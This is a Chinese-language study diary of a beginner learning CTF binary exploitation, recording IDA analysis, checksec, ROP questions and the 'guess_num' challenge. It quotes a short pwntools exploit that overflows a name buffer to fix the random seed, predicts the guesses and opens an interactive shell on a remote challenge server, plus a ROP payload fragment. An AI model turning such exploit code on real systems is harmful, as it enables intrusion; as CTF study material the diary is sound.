2022 2.9
2.8晚
拿到文件先用ida分析一下,看看main:
这算是目前遇到的最完整的一个程序,猜数字的游戏,看到了很多get,可能是一个路径
再看一下system函数,之前看的题解里面这也是拿到shell的一个主要途径:
结合查到的资料,目前觉得可能是个可以输入命令的地方
不知道点到哪里居然找到这个地方,写着是stack of main:
而且上面的解释好像可以说明如何查看缓冲区等栈的信息,但是再打开的时候找不到是啥东西了,明天再研究。
最后checksec一下,看看基本信息:
全开了,算是遇到了,各种保护机制也要看一看。
2.9
中午起的床,然后3d打印机玩了一下午,属实很摸鱼,明天绝对别的幺蛾子不搞了,week3也要结束了,进展不够快。
查看stack of main的方式其实在昨天擦肩而过,双击main中的变量其实就是stack of main,鼠标滚轮网上翻一翻就是截图截到的那个界面了,问师兄问完感觉自己像个傻逼/笑哭.jpg
学rop过程中问题也不少,exp也有点看不懂了,就是接下来的任务:
一, pwndbg的具体用法,还是结合wp和解释的博文,效果应该还可以。blog
二,把pwntools在github上面的解释(虽然是全英文的)也要看一遍,有备无患。
三,具体的几个问题(主要是是几个看不懂的exp片段):
1, asm(shellcraft.sh)是什么
2,payload = flat( ['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
中的flat
3,ropgadgets,好像是个工具,装明白
时间不等人啊,早睡早起
—————————————————————————————————————
2.21
鸽了这么久,总算还是把guess_num解决掉了,之前一方面是有些摸鱼,另外基础知识还是要靠看书,不过题目每天还是应该碰一碰的。
这回还是看的wp,本来想着留着自己做出来,但是之前一直没什么头绪(更何况高手区题目海了去了,在这里和一个新手题纠结面子实在受罪),开学课之后时间又不多,就先接着学习别人的做法了。
主要参考的wp:
pwn_bunner的博客
灰信网
对比题解发现一个有意思的现象,我用ida分析出来的文件伪代码是找不到v8的变量的:
而别的题解分析结果是v8在gets函数里面:
这个是灰信网的截图,显示gets后面是v9:
现在想不明白是什么原因,慢慢琢磨着先。
太晚了,先睡,每天都要赶早八/痛.jpg。
——————
2.23
然后是攻击的方式,目前看到了两种完全不同的方法,还是挺有意思的。
方法一:
再放一遍链接
这个和之前看到的基本rop应该是一个原理,不过即使是看了这么多天pwntools还是不能完全理解exp,更不要说自己写了,唉。
from pwn import *
from ctypes import *
io = remote('220.249.52.133', 46272)
# elf = ELF('./guess_num')
# libc = elf.libc
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc-2.31.so")
payload = bytes('a' * 0x20, encoding='utf8') + p64(0)
io.sendlineafter('Your name:', payload)
libc.srand(0)
for i in range(10):
msg = str(libc.rand() % 6 + 1)
io.sendlineafter('Please input your guess number:', msg)
io.interactive()
挂着慢慢研究…
方法二:
再放一遍链接
这个方法比较新颖,没有见过。
和尝试溢出不一样,这个程序只要能达到if里面的条件就可以运行system条件,看起来这个条件不像别的wp里面说的是不可能尝试出来的。